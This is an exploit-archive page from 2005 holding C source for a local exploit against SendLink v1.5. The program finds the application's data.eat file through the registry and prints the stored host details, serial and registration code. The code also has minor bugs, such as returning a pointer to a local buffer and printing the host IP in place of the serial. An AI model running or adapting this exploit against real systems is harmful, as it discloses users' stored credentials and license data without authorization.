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SendLink.c

SendLink.c
Posted Feb 26, 2005
Authored by Kozan | Site netmagister.com

SendLink version 1.5 local exploit that discloses passwords.

tags | exploit, local
SHA-256 | 37e5ea50633ffc6f0e2798bfeaa612f1e2eacae8a144ea3f98370b29c3a636db

SendLink.c

Change Mirror Download
/*****************************************************************

SendLink v1.5 Local Exploit by Kozan

Application: SendLink v1.5
Vendor:Computer Knacks
http://www.computerknacks.com/

Vulnerable Description: SendLink v1.5 discloses passwords to local users.

Discovered & Coded by: Kozan
Credits to ATmaCA
Web : www.netmagister.com
Web2: www.spyinstructors.com
Mail: kozan[at]netmagister[dot]com

*****************************************************************/

#include <windows.h>
#include <stdio.h>
#include <string.h>

#define BUFSIZE 100
HKEY hKey;
char prgfiles[BUFSIZE];
DWORD dwBufLen=BUFSIZE;
LONG lRet;

char *hostip, *hostname, *serial, *options, *regcode, *hostport;

int adresal(char *FilePath,char *Str)
{
char kr;
int Sayac=0;
int Offset=-1;
FILE *di;
di=fopen(FilePath,"rb");

if( di == NULL )
{
fclose(di);
return -1;
}

while(!feof(di))
{
Sayac++;
for(int i=0;i<strlen(Str);i++)
{
kr=getc(di);
if(kr != Str[i])
{
if( i>0 )
{
fseek(di,Sayac+1,SEEK_SET);
}
break;
}
if( i > ( strlen(Str)-2 ) )
{
Offset = ftell(di)-strlen(Str);
fclose(di);
return Offset;
}
}
}
fclose(di);
return -1;
}

char *oku(char *FilePath,char *Str)
{

FILE *di;
char cr;
char BB = 0xBB;
int i=0;
char Feature[500];

int Offset = adresal(FilePath,Str);

if( Offset == -1 )
return "";

if( (di=fopen(FilePath,"rb")) == NULL )
return "";

fseek(di,Offset+strlen(Str),SEEK_SET);

while(!feof(di))
{
cr=getc(di);
if(cr == BB)
break;

Feature[i] = cr;
i++;
}

Feature[i] = '\0';
fclose(di);
return Feature;
}

int main(void)
{
if(RegOpenKeyEx(HKEY_LOCAL_MACHINE,
"SOFTWARE\\Microsoft\\Windows\\CurrentVersion",
0,
KEY_QUERY_VALUE,
&hKey) == ERROR_SUCCESS)
{

lRet = RegQueryValueEx( hKey, "ProgramFilesDir", NULL, NULL,
(LPBYTE)
prgfiles, &dwBufLen);

if( (lRet != ERROR_SUCCESS) || (dwBufLen > BUFSIZE) )
{
RegCloseKey(hKey);
printf("An error occured!\n");
return 0;
}

RegCloseKey(hKey);

}
else
{
RegCloseKey(hKey);
printf("An error occured!\n");
return 0;
}

strcat(prgfiles,"\\SendLink\\User\\data.eat");

printf("SendLink v1.5 Local Exploit by Kozan\n");
printf("Credits to ATmaCA\n");
printf("www.netmagister.com - www.spyinstructors.com \n\n");

try
{
char hostip_temp[BUFSIZE];
wsprintf(hostip_temp,"hostip%c=%c",0xBB,0xAB);
hostip=oku(prgfiles,hostip_temp);
printf("Host IP: %s\n",hostip);

char hostname_temp[BUFSIZE];
wsprintf(hostname_temp,"hostname%c=%c",0xBB,0xAB);
hostname=oku(prgfiles,hostname_temp);
printf("Hostname : %s\n",hostname);

char hostport_temp[BUFSIZE];
wsprintf(hostport_temp,"hostport%c=%c",0xBB,0xAB);
hostport=oku(prgfiles,hostport_temp);
printf("Host Port : %s\n",hostport);

char options_temp[BUFSIZE];
wsprintf(options_temp,"options%c=%c",0xBB,0xAB);
options=oku(prgfiles,options_temp);
printf("Options : %s\n",options);

char serial_temp[BUFSIZE];
wsprintf(serial_temp,"serial%c=%c",0xBB,0xAB);
serial=oku(prgfiles,serial_temp);
printf("Serial : %s\n",hostip);

char regcode_temp[BUFSIZE];
wsprintf(regcode_temp,"regcode%c=%c",0xBB,0xAB);
regcode=oku(prgfiles,regcode_temp);
printf("Registration Code : %s\n",regcode);

}catch(...){ printf("An error occured!\n"); return 0; }

return 0;

}
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